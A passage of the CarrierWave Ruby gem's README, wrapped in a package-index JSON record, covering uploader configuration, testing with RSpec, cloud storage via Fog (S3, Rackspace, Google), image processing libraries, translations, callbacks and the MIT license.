have to call `save!` on\nthe model after using `recreate_versions!`. This is necessary because\n`recreate_versions!` doesn't save the new filename to the database. Calling\n`save!` yourself will prevent that the database and file system are running\nout of sync.\n\n```ruby\ninstance = MyUploader.new\ninstance.recreate_versions!(:thumb, :large)\n```\n\nOr on a mounted uploader:\n\n```ruby\nUser.find_each do |user|\n  user.avatar.recreate_versions!\nend\n```\n\nNote: `recreate_versions!` will throw an exception on records without an image. To avoid this, scope the records to those with images or check if an image exists within the block. If you're using ActiveRecord, recreating versions for a user avatar might look like this:\n\n```ruby\nUser.find_each do |user|\n  user.avatar.recreate_versions! if user.avatar?\nend\n```\n\n## Configuring CarrierWave\n\nCarrierWave has a broad range of configuration options, which you can configure,\nboth globally and on a per-uploader basis:\n\n```ruby\nCarrierWave.configure do |config|\n  config.permissions = 0666\n  config.directory_permissions = 0777\n  config.storage = :file\nend\n```\n\nOr alternatively:\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  permissions 0777\nend\n```\n\nIf you're using Rails, create an initializer for this:\n\n\tconfig/initializers/carrierwave.rb\n\nIf you want CarrierWave to fail noisily in development, you can change these configs in your environment file:\n\n```ruby\nCarrierWave.configure do |config|\n  config.ignore_integrity_errors = false\n  config.ignore_processing_errors = false\n  config.ignore_download_errors = false\nend\n```\n\n\n## Testing with CarrierWave\n\nIt's a good idea to test your uploaders in isolation. In order to speed up your\ntests, it's recommended to switch off processing in your tests, and to use the file storage.\nAlso, you can disable SSRF protection at your own risk using the `skip_ssrf_protection` configuration.\n\nIn Rails you could do that by adding an initializer with:\n\n```ruby\nif Rails.env.test? or Rails.env.cucumber?\n  CarrierWave.configure do |config|\n    config.storage = :file\n    config.enable_processing = false\n    config.skip_ssrf_protection = true\n  end\nend\n```\n\nRemember, if you have already set `storage :something` in your uploader, the `storage`\nsetting from this initializer will be ignored.\n\nIf you need to test your processing, you should test it in isolation, and enable\nprocessing only for those tests that need it.\n\nCarrierWave comes with some RSpec matchers which you may find useful:\n\n```ruby\nrequire 'carrierwave/test/matchers'\n\ndescribe MyUploader do\n  include CarrierWave::Test::Matchers\n\n  let(:user) { double('user') }\n  let(:uploader) { MyUploader.new(user, :avatar) }\n\n  before do\n    MyUploader.enable_processing = true\n    File.open(path_to_file) { |f| uploader.store!(f) }\n  end\n\n  after do\n    MyUploader.enable_processing = false\n    uploader.remove!\n  end\n\n  context 'the thumb version' do\n    it \"scales down a landscape image to be exactly 64 by 64 pixels\" do\n      expect(uploader.thumb).to have_dimensions(64, 64)\n    end\n  end\n\n  context 'the small version' do\n    it \"scales down a landscape image to fit within 200 by 200 pixels\" do\n      expect(uploader.small).to be_no_larger_than(200, 200)\n    end\n  end\n\n  it \"makes the image readable only to the owner and not executable\" do\n    expect(uploader).to have_permissions(0600)\n  end\n\n  it \"has the correct format\" do\n    expect(uploader).to be_format('png')\n  end\nend\n```\n\nIf you're looking for minitest asserts, checkout [carrierwave_asserts](https://github.com/hcfairbanks/carrierwave_asserts).\n\nSetting the enable_processing flag on an uploader will prevent any of the versions from processing as well.\nProcessing can be enabled for a single version by setting the processing flag on the version like so:\n\n```ruby\n@uploader.thumb.enable_processing = true\n```\n\n## Fog\n\nIf you want to use fog you must add in your CarrierWave initializer the\nfollowing lines\n\n```ruby\nconfig.fog_credentials = { ... } # Provider specific credentials\n```\n\n## Using Amazon S3\n\n[Fog AWS](http://github.com/fog/fog-aws) is used to support Amazon S3. Ensure you have it in your Gemfile:\n\n```ruby\ngem \"fog-aws\"\n```\n\nYou'll need to provide your fog_credentials and a fog_directory (also known as a bucket) in an initializer.\nFor the sake of performance it is assumed that the directory already exists, so please create it if it needs to be.\nYou can also pass in additional options, as documented fully in lib/carrierwave/storage/fog.rb. Here's a full example:\n\n```ruby\nCarrierWave.configure do |config|\n  config.fog_credentials = {\n    provider:              'AWS',                        # required\n    aws_access_key_id:     'xxx',                        # required unless using use_iam_profile\n    aws_secret_access_key: 'yyy',                        # required unless using use_iam_profile\n    use_iam_profile:       true,                         # optional, defaults to false\n    region:                'eu-west-1',                  # optional, defaults to 'us-east-1'\n    host:                  's3.example.com',             # optional, defaults to nil\n    endpoint:              'https://s3.example.com:8080' # optional, defaults to nil\n  }\n  config.fog_directory  = 'name_of_bucket'                                      # required\n  config.fog_public     = false                                                 # optional, defaults to true\n  config.fog_attributes = { cache_control: \"public, max-age=#{365.days.to_i}\" } # optional, defaults to {}\n  # Use this if you have AWS S3 ACLs disabled.\n  # config.fog_attributes = { 'x-amz-acl' =\u003e 'bucket-owner-full-control' }\n  # Use this if you have Google Cloud Storage uniform bucket-level access enabled.\n  # config.fog_attributes = { uniform: true }\n  # For an application which utilizes multiple servers but does not need caches persisted across requests,\n  # uncomment the line :file instead of the default :storage.  Otherwise, it will use AWS as the temp cache store.\n  # config.cache_storage = :file\nend\n```\n\nIn your uploader, set the storage to :fog\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  storage :fog\nend\n```\n\nThat's it! You can still use the `CarrierWave::Uploader#url` method to return the url to the file on Amazon S3.\n\n**Note**: for Carrierwave to work properly it needs credentials with the following permissions:\n\n* `s3:ListBucket`\n* `s3:PutObject`\n* `s3:GetObject`\n* `s3:DeleteObject`\n* `s3:PutObjectAcl`\n\n## Using Rackspace Cloud Files\n\n[Fog](http://github.com/fog/fog) is used to support Rackspace Cloud Files. Ensure you have it in your Gemfile:\n\n```ruby\ngem \"fog\"\n```\n\nYou'll need to configure a directory (also known as a container), username and API key in the initializer.\nFor the sake of performance it is assumed that the directory already exists, so please create it if needs to be.\n\nUsing a US-based account:\n\n```ruby\nCarrierWave.configure do |config|\n  config.fog_credentials = {\n    provider:           'Rackspace',\n    rackspace_username: 'xxxxxx',\n    rackspace_api_key:  'yyyyyy',\n    rackspace_region:   :ord                      # optional, defaults to :dfw\n  }\n  config.fog_directory = 'name_of_directory'\nend\n```\n\nUsing a UK-based account:\n\n```ruby\nCarrierWave.configure do |config|\n  config.fog_credentials = {\n    provider:           'Rackspace',\n    rackspace_username: 'xxxxxx',\n    rackspace_api_key:  'yyyyyy',\n    rackspace_auth_url: Fog::Rackspace::UK_AUTH_ENDPOINT,\n    rackspace_region:   :lon\n  }\n  config.fog_directory = 'name_of_directory'\nend\n```\n\nYou can optionally include your CDN host name in the configuration.\nThis is *highly* recommended, as without it every request requires a lookup\nof this information.\n\n```ruby\nconfig.asset_host = \"http://c000000.cdn.rackspacecloud.com\"\n```\n\nIn your uploader, set the storage to :fog\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  storage :fog\nend\n```\n\nThat's it! You can still use the `CarrierWave::Uploader#url` method to return\nthe url to the file on Rackspace Cloud Files.\n\n## Using Google Cloud Storage\n\n[Fog](http://github.com/fog/fog-google) is used to support Google Cloud Storage. Ensure you have it in your Gemfile:\n\n```ruby\ngem \"fog-google\"\n```\n\nYou'll need to configure a directory (also known as a bucket) and the credentials in the initializer.\nFor the sake of performance it is assumed that the directory already exists, so please create it if needs to be.\n\nPlease read the [fog-google README](https://github.com/fog/fog-google/blob/master/README.md) on how to get credentials.\n\nFor Google Storage JSON API (recommended):\n```ruby\nCarrierWave.configure do |config|\n    config.fog_credentials = {\n        provider:               'Google',\n        google_project:         'my-project',\n        google_json_key_string: 'xxxxxx'\n        # or use google_json_key_location if using an actual file\n    }\n    config.fog_directory = 'google_cloud_storage_bucket_name'\nend\n```\n\nFor Google Storage XML API:\n```ruby\nCarrierWave.configure do |config|\n    config.fog_credentials = {\n        provider:                         'Google',\n        google_storage_access_key_id:     'xxxxxx',\n        google_storage_secret_access_key: 'yyyyyy'\n    }\n    config.fog_directory = 'google_cloud_storage_bucket_name'\nend\n```\n\nIn your uploader, set the storage to :fog\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  storage :fog\nend\n```\n\nThat's it! You can still use the `CarrierWave::Uploader#url` method to return\nthe url to the file on Google.\n\n## Optimized Loading of Fog\n\nSince Carrierwave doesn't know which parts of Fog you intend to use, it will just load the entire library (unless you use e.g. [`fog-aws`, `fog-google`] instead of fog proper). If you prefer to load fewer classes into your application, you need to load those parts of Fog yourself *before* loading CarrierWave in your Gemfile.  Ex:\n\n```ruby\ngem \"fog\", \"~\u003e 1.27\", require: \"fog/rackspace/storage\"\ngem \"carrierwave\"\n```\n\nA couple of notes about versions:\n* This functionality was introduced in Fog v1.20.\n* This functionality is slated for CarrierWave v1.0.0.\n\nIf you're not relying on Gemfile entries alone and are requiring \"carrierwave\" anywhere, ensure you require \"fog/rackspace/storage\" before it.  Ex:\n\n```ruby\nrequire \"fog/rackspace/storage\"\nrequire \"carrierwave\"\n```\n\nBeware that this specific require is only needed when working with a fog provider that was not extracted to its own gem yet.\nA list of the extracted providers can be found in the page of the `fog` organizations [here](https://github.com/fog).\n\nWhen in doubt, inspect `Fog.constants` to see what has been loaded.\n\n## Dynamic Asset Host\n\nThe `asset_host` config property can be assigned a proc (or anything that responds to `call`) for generating the host dynamically. The proc-compliant object gets an instance of the current `CarrierWave::Storage::Fog::File` or `CarrierWave::SanitizedFile` as its only argument.\n\n```ruby\nCarrierWave.configure do |config|\n  config.asset_host = proc do |file|\n    identifier = # some logic\n    \"http://#{identifier}.cdn.rackspacecloud.com\"\n  end\nend\n```\n\n## Manipulating images\n\nIf you're uploading images, you'll probably want to manipulate them in some way,\nyou might want to create thumbnail images for example.\n\n### Using MiniMagick\n\nMiniMagick performs all the operations using the 'convert' CLI which is part of the standard ImageMagick kit.\nThis allows you to have the power of ImageMagick without having to worry about installing\nall the RMagick libraries, it often results in higher memory footprint.\n\nSee the MiniMagick site for more details:\n\nhttps://github.com/minimagick/minimagick\n\nTo install Imagemagick on OSX with homebrew type the following:\n\n```\n$ brew install imagemagick\n```\n\nAnd the ImageMagick command line options for more for what's on offer:\n\nhttp://www.imagemagick.org/script/command-line-options.php\n\nCurrently, the MiniMagick carrierwave processor provides exactly the same methods as\nfor the RMagick processor.\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::MiniMagick\n\n  process resize_to_fill: [200, 200]\nend\n```\n\nSee `carrierwave/processing/mini_magick.rb` for details.\n\n### Using RMagick\n\nCarrierWave also comes with support for RMagick, a well-known image processing library.\nTo use it, you'll need to include this in your Uploader:\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::RMagick\nend\n```\n\nThe RMagick module gives you a few methods, like\n`CarrierWave::RMagick#resize_to_fill` which manipulate the image file in some\nway. You can set a `process` callback, which will call that method any time a\nfile is uploaded.\nThere is a demonstration of convert here.\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::RMagick\n\n  process resize_to_fill: [200, 200]\n  process convert: 'png'\nend\n```\n\nCheck out the manipulate! method, which makes it easy for you to write your own\nmanipulation methods.\n\n### Using Vips\n\nCarrierWave version 2.2.0 added support for the `libvips` image processing library, through [ImageProcessing::Vips](https://github.com/janko/image_processing/blob/master/doc/vips.md). Its functionality matches that of the RMagick and MiniMagick processors, but it uses less memory and offers [faster processing](https://github.com/libvips/libvips/wiki/Speed-and-memory-use). To use the Vips processing module you must first install `libvips`, for example: \n\n````bash\n$ sudo apt install libvips\n````\n\nYou also need to tell your uploader to use Vips:\n\n````ruby\nclass ImageFileUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::Vips\nend\n````\n\n### List of available processing methods:\n\n\u003e [!NOTE]\n\u003e While the intention is to provide uniform interfaces to all three processing libraries the availability and implementation of processing methods can \u003ca href=\"supported-processing-methods\"\u003evary slightly between them\u003c/a\u003e.\n\n- `convert` - Changes the image encoding format to the given format (eg. jpg). This operation is treated specially to trigger the change of the file extension, so it matches with the format of the resulting file.\n- `resize_to_limit` - Resize the image to fit within the specified dimensions while retaining the original aspect ratio. Will only resize the image if it is larger than the specified dimensions. The resulting image may be shorter or narrower than specified in the smaller dimension but will not be larger than the specified values.\n- `resize_to_fit` - Resize the image to fit within the specified dimensions while retaining the original aspect ratio. The image may be shorter or narrower than specified in the smaller dimension but will not be larger than the specified values.\n- `resize_to_fill` - Resize the image to fit within the specified dimensions while retaining the aspect ratio of the original image. If necessary, crop the image in the larger dimension. Optionally, a \"gravity\" may be specified, for example \"Center\", or \"NorthEast\".\n- `resize_and_pad` - Resize the image to fit within the specified dimensions while retaining the original aspect ratio. If necessary, will pad the remaining area with the given color, which defaults to transparent (for gif and png, white for jpeg). Optionally, a \"gravity\" may be specified, as above.\n- `crop` - Crop the image to the contents of a box with the specified height and width, positioned a given number of pixels from the top and left. The original image edge will be retained should the bottom and/or right edge of the box fall outside the image bounds. \n\n#### Supported processing methods\n\nThe following table shows which processing methods are supported by each processing library, and which parameters they accept: \n\nMethod|RMagick|MiniMagick|Vips\n------|-----------------|-----------------|-----------------|\n`convert`|`format`|`format`, `page`\u003csup\u003e1\u003c/sup\u003e|`format`, `page`\u003csup\u003e1\u003c/sup\u003e\n`resize_to_limit`|`width`, `height`|`width`, `height`|`width`, `height`\n`resize_to_fit`|`width`, `height`|`width`, `height`|`width`, `height`\n`resize_to_fill`|`width`, `height`, `gravity`\u003csup\u003e2\u003c/sup\u003e|`width`, `height`, `gravity`\u003csup\u003e2\u003c/sup\u003e|`width`, `height`\n`resize_and_pad`|`width`, `height`, `background`, `gravity`\u003csup\u003e2\u003c/sup\u003e|`width`, `height`, `background`, `gravity`\u003csup\u003e2\u003c/sup\u003e|`width`, `height`, `background`, `gravity`\u003csup\u003e2\u003c/sup\u003e\n`resize_to_geometry_string`|`geometry_string`\u003csup\u003e3\u003c/sup\u003e|*not implemented*|*not implemented*\n`crop`|`left`, `top`, `width`, `height`|`left`, `top`, `width`, `height`|`left`, `top`, `width`, `height`\n\n\u003csup\u003e1\u003c/sup\u003e`page` refers to the page number when converting from PDF, frame number when converting from GIF, and layer number when converting from PSD.\n\n\u003csup\u003e2\u003c/sup\u003e`gravity` refers to an image position given as one of `Center`, `North`, `NorthWest`, `West`, `SouthWest`, `South`, `SouthEast`, `East`, or `NorthEast`.\n\n\u003csup\u003e3\u003c/sup\u003e`geometry_string` is an [ImageMagick geometry string](https://rmagick.github.io/imusage.html#geometry).\n\n## Migrating from Paperclip\n\nIf you are using Paperclip, you can use the provided compatibility module:\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::Compatibility::Paperclip\nend\n```\n\nSee the documentation for `CarrierWave::Compatibility::Paperclip` for more\ndetails.\n\nBe sure to use mount_on to specify the correct column:\n\n```ruby\nmount_uploader :avatar, AvatarUploader, mount_on: :avatar_file_name\n```\n\n## I18n\n\nThe Active Record validations use the Rails `i18n` framework. Add these keys to\nyour translations file:\n\n```yaml\nerrors:\n  messages:\n    carrierwave_processing_error: failed to be processed\n    carrierwave_integrity_error: is not of an allowed file type\n    carrierwave_download_error: could not be downloaded\n    extension_allowlist_error: \"You are not allowed to upload %{extension} files, allowed types: %{allowed_types}\"\n    extension_denylist_error: \"You are not allowed to upload %{extension} files, prohibited types: %{prohibited_types}\"\n    content_type_allowlist_error: \"You are not allowed to upload %{content_type} files, allowed types: %{allowed_types}\"\n    content_type_denylist_error: \"You are not allowed to upload %{content_type} files\"\n    processing_error: \"Failed to manipulate, maybe it is not an image?\"\n    min_size_error: \"File size should be greater than %{min_size}\"\n    max_size_error: \"File size should be less than %{max_size}\"\n    min_width_error: \"Image width should be greater than %{min_width}px\"\n    max_width_error: \"Image width should be less than %{max_width}px\"\n    min_height_error: \"Image height should be greater than %{min_height}px\"\n    max_height_error: \"Image height should be less than %{max_height}px\"\n```\n\nThe [`carrierwave-i18n`](https://github.com/carrierwaveuploader/carrierwave-i18n)\nlibrary adds support for additional locales.\n\n## Large files\n\nBy default, CarrierWave copies an uploaded file twice, first copying the file into the cache, then\ncopying the file into the store.  For large files, this can be prohibitively time consuming.\n\nYou may change this behavior by overriding either or both of the `move_to_cache` and\n`move_to_store` methods:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def move_to_cache\n    true\n  end\n\n  def move_to_store\n    true\n  end\nend\n```\n\nWhen the `move_to_cache` and/or `move_to_store` methods return true, files will be moved (instead of copied) to the cache and store respectively.\n\nThis has only been tested with the local filesystem store.\n\n## Skipping ActiveRecord callbacks\n\nBy default, mounting an uploader into an ActiveRecord model will add a few\ncallbacks. For example, this code:\n\n```ruby\nclass User\n  mount_uploader :avatar, AvatarUploader\nend\n```\n\nWill add these callbacks:\n\n```ruby\nbefore_save :write_avatar_identifier\nafter_save :store_previous_changes_for_avatar\nafter_commit :remove_avatar!, on: :destroy\nafter_commit :mark_remove_avatar_false, on: :update\nafter_commit :remove_previously_stored_avatar, on: :update\nafter_commit :store_avatar!, on: [:create, :update]\n```\n\nIf you want to skip any of these callbacks (eg. you want to keep the existing\navatar, even after uploading a new one), you can use ActiveRecord’s\n`skip_callback` method.\n\n```ruby\nclass User\n  mount_uploader :avatar, AvatarUploader\n  skip_callback :commit, :after, :remove_previously_stored_avatar\nend\n```\n\n## Uploader Callbacks\n\nIn addition to the ActiveRecord callbacks described above, uploaders also have callbacks.\n\n```ruby\nclass MyUploader \u003c ::CarrierWave::Uploader::Base\n  before :remove, :log_removal\n  private\n  def log_removal\n    ::Rails.logger.info(format('Deleting file on S3: %s', @file))\n  end\nend\n```\n\nUploader callbacks can be `before` or `after` the following events:\n\n```\ncache\nprocess\nremove\nretrieve_from_cache\nretrieve_from_store\nstore\n```\n\n## Contributing to CarrierWave\n\nSee [CONTRIBUTING.md](https://github.com/carrierwaveuploader/carrierwave/blob/master/CONTRIBUTING.md)\n\n## License\n\nThe MIT License (MIT)\n\nCopyright (c) 2008 Jonas Nicklas\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n","funding_links":[],"readme_doi_urls":[],"works":{},"citation_counts":{},"total_citations":0,"keywords_from_contributors":["activerecord","mvc","activejob","rubygems","rspec","devise","crash-reporting","background-jobs","sinatra","rack"],"project_url":"https://ruby.ecosyste.ms/api/v1/projects/585","html_url":"https://ruby.ecosyste.ms/projects/585"}